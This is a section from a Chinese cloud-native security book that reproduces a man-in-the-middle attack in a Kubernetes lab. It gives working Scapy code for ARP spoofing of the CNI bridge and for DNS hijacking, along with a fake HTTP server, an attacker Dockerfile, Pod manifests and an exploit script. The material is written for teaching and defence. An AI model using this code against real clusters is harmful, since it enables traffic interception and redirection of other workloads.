云原生安全:攻防实践与体系构建
上QQ阅读APP看书,第一时间看更新

4.5.3 场景复现

我们首先复现本节开篇提出的攻击场景,按照“环境准备”和“发起攻击”的顺序介绍复现过程。

1.环境准备

我们需要准备一个安装了CoreDNS的Kubernetes集群,部署若干Pod,并保证某一个节点上有三个角色的Pod存在:

1)攻击者Pod:模拟攻击者已经攻入集群中的Web App Pod,攻击者应具有容器内root权限。

2)受害者Pod:模拟即将被ARP欺骗和DNS劫持的Pod,受害者原本的正常业务包括定期向example.com域名发起HTTP请求。

3)CoreDNS Pod:Kubernetes自身的DNS服务器(Kubernetes自带)。

我们实际上模拟的是后渗透(post-penetration)阶段,即假设攻击者已经攻入了这个Pod。为方便起见,我们后面会制作一个攻击者镜像,用这个镜像来创建攻击者Pod。

另外,我们需要模拟受害者向外发出HTTP请求,因此只要保证受害者Pod内有curl工具即可,故笔者选用的受害者镜像是curlimages/curl:latest。

图4-16给出一个供参考的网络环境示意图。

图4-16中,模拟攻击者攻入的Pod为节点1左下方的Web APP Pod(为方便叙述,我们将其命名为attacker Pod),受害者Pod为节点1右下方的Backend Pod(为方便叙述,我们将其命名为victim Pod)。

另外,为了实现高可用,即使我们部署了单节点集群,CoreDNS也可能会启动两个Pod实例。这在一定程度上会影响实验效果。为了避免这一影响,我们先修改CoreDNS实例数为1(执行如下命令),实际环境中也可以考虑对节点上所有DNS Pod进行欺骗。


kubectl scale deployments.apps -n kube-system coredns --replicas=1

2.发起攻击

环境准备好后,我们就可以实施以下攻击流程了:

1)首先获得各种网络参数,包括attacker Pod自身的MAC和IP地址、Kubernetes集群DNS服务的IP地址、同节点上CoreDNS Pod的MAC和IP地址、CNI网桥的MAC和IP地址。

2)在attacker Pod中启动一个HTTP服务器,监听80端口,对于任何HTTP请求均回复一行字符串“F4ke Website”,作为攻击成功的标志。

3)攻击者在attacker Pod中启动一个ARP欺骗程序,持续向cni0网桥发送ARP响应帧,不断声明CoreDNS Pod的IP对应的MAC地址应该是attacker Pod的MAC地址。

4)在attacker Pod中启动一个DNS劫持程序,等待接收DNS请求。

5)根据设定,victim Pod向example.com发起HTTP请求,为了获得example.com的IP地址,victim Pod需要向DNS服务器发起请求,为了找到DNS服务器的MAC地址,victim Pod需要先向cni0网桥发送ARP请求,然而由于attacker Pod在第3步不断地向cni0网桥发送ARP响应帧,因此victim Pod会收到响应,被告知CoreDNS Pod的IP对应attacker Pod的MAC地址。

6)一旦第3步生效,victim Pod向attacker Pod发来DNS请求,则DNS劫持程序首先判断该请求针对的域名是否为目标域名example.com。如否,则将请求转发给真正的CoreDNS Pod,接收CoreDNS Pod的响应包,并转发给victim Pod;如是,则伪造DNS响应包,声明example.com对应的IP地址是attacker Pod自己的IP,将这个响应包发送给victim Pod。

7)顺利的话,victim Pod接下来将向attacker Pod发送http://example.com的HTTP请求,因此第2步中attacker Pod中设置的HTTP服务器将向victim回复预设字符串“F4ke Website”,victim Pod以为“F4ke Website”正是自己需要的内容。

图4-17能够更直观地展示上述步骤。

图4-16 中间人攻击场景的网络环境

图4-17 中间人攻击流程

我们首先用浏览器访问测试域名example.com,因为它是互联网上专门用来测试的域名,结果如图4-18所示,可以看到内容是正常的。

图4-18 正常情况下访问example.com的浏览器页面

接下来我们展示各个步骤的核心代码逻辑。

第一步,获取各网络参数的方法不再叙述,读者可参考原理描述部分。

第二步,我们可以借助Python自带的http.server模块创建一个恶意HTTP服务:


from http.server import HTTPServer, BaseHTTPRequestHandler

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):  # 处理GET请求
        self._set_response()
        self.wfile.write("F4ke Website\n".encode('utf-8'))

def fake_http_server():
    server_address = ('', 80)
    server = HTTPServer(server_address, S)
    server.serve_forever()

第三步,开始ARP欺骗。正如前面描述的那样,不断向cni0发送ARP响应帧:


def arp_spoofing(share_victim_ip, bridge_ip, coredns_pod_ip, coredns_pod_mac,
                 bridge_mac, verbose):
    while True:
        # 向cni0声称CoreDNS的IP对应attacker Pod的MAC
        send(ARP(op=2,
                 pdst=bridge_ip,
                 psrc=coredns_pod_ip,
                 hwdst=bridge_mac),
             verbose=verbose)

第四步,开始DNS欺骗。这一步需要注意的是,为了减小不必要的影响,我们仅仅劫持对example.com域名的DNS查询请求。对于其他请求,我们的策略是将其转发给CoreDNS,然后从CoreDNS处拿到响应,再转发给请求发起者。此部分核心代码如下:


@staticmethod
def generate_response(request, ip=None, nx=None):
    """构造DNS响应包"""
    return DNS(id=request[DNS].id,
               aa=1,
               qr=1,                                # 表示响应
               rd=request[DNS].rd,                  # 直接复制请求项
               qdcount=request[DNS].qdcount,        # 直接复制请求项
               qd=request[DNS].qd,                  # 直接复制请求项
               ancount=1 if not nx else 0,
               an=DNSRR(
                   rrname=request[DNS].qd.qname,
                   type='A',
                   ttl=1,
                   rdata=ip) if not nx else None,
               rcode=0 if not nx else 3
              )
def spoof(self, req_pkt):
    """实施DNS劫持"""
    spf_resp = IP(dst=req_pkt[IP].src,
                  src=self.local_server_ip) / UDP(dport=req_pkt[UDP].sport,
                                                  sport=53) / self.generate_
                                                  response(req_pkt,ip=self.ip)
    send(spf_resp, verbose=0, iface=self.interface)
def handle_queries(self, req_pkt):
    """根据请求域名决定是原样转发还是劫持"""
    if req_pkt["DNS Question Record"].qname.startswith(self.fake_domain.encode(
            'utf-8')):
        self.spoof(req_pkt)
    else:
        self.forward(req_pkt, verbose=False)

以上就是攻击者需要做的事情了。为方便测试,我们直接构建一个攻击者镜像,Dockerfile如下:


FROM ubuntu:latest
COPY k8s_dns_mitm.py /poc.py
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt update && DEBIAN_FRONTEND=noninteractive apt install -y python3
    python3-pip && apt clean
RUN pip3 install scapy -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-
    host pypi.tuna.tsinghua.edu.cn
RUN chmod u+x /poc.py
ENTRYPOINT ["/bin/bash", "-c", "/poc.py example.com "]

编辑完成,构建镜像:


docker build -t k8s_dns_mitm:1.0 .

接着,编写attacker Pod的声明文件:


# attacker.yaml
apiVersion: v1
kind: Pod
metadata:
    name: attacker
spec:
    containers:
    - name: main
        image: k8s_dns_mitm:1.0
        imagePullPolicy: IfNotPresent

然后,编写victim Pod的声明文件:


# victim.yaml
apiVersion: v1
kind: Pod
metadata:
    name: victim
spec:
    containers:
    - name: main
        image: curlimages/curl:latest
        imagePullPolicy: IfNotPresent
        # Just spin & wait forever
        command: [ "/bin/sh", "-c", "--" ]
        args: [ "while true; do sleep 30; done;" ]

我们编写一个exploit.sh脚本来自动化模拟场景:


#!/bin/bash
# exploit.sh
set -e
echo "[*] Pulling curl image..."
docker pull curlimages/curl:latest
echo "[*] Creating attacker and victim pods..."
kubectl apply -f attacker.yaml
kubectl apply -f victim.yaml
echo "[*] Waiting 20s for pods' creation..."
sleep 20
echo "[*] Reading attacker's log..."
kubectl logs attacker
echo "[*] Trying to curl http://example.com in victim..."
kubectl exec -it victim curl http://example.com

执行exploit.sh脚本,依次启动attacker和victim两个Pod。其中,attacker Pod陆续启动伪HTTP服务、ARP欺骗服务和伪DNS服务,然后脚本会自动使用kubectl exec功能在victim Pod中借助curl访问example.com,发现内容已经变为我们设定好的“F4ke Website”。为了保证准确性,我们再次手动执行一次,结果相同。整个过程如图4-19所示。

图4-19 自动化发起攻击并用victim Pod访问example.com网站

至此,整个流程实践完毕,中间人攻击成功。

3.注意事项

在测试结束后,可以在宿主机节点上执行如下脚本来恢复环境,方便重复测试:


#!/bin/bash
# cleanup.sh
set -e -x
kubectl delete pod victim attacker
for record in $(arp  | grep cni0 | awk '{print $1}'); do
    arp -d "$record"
done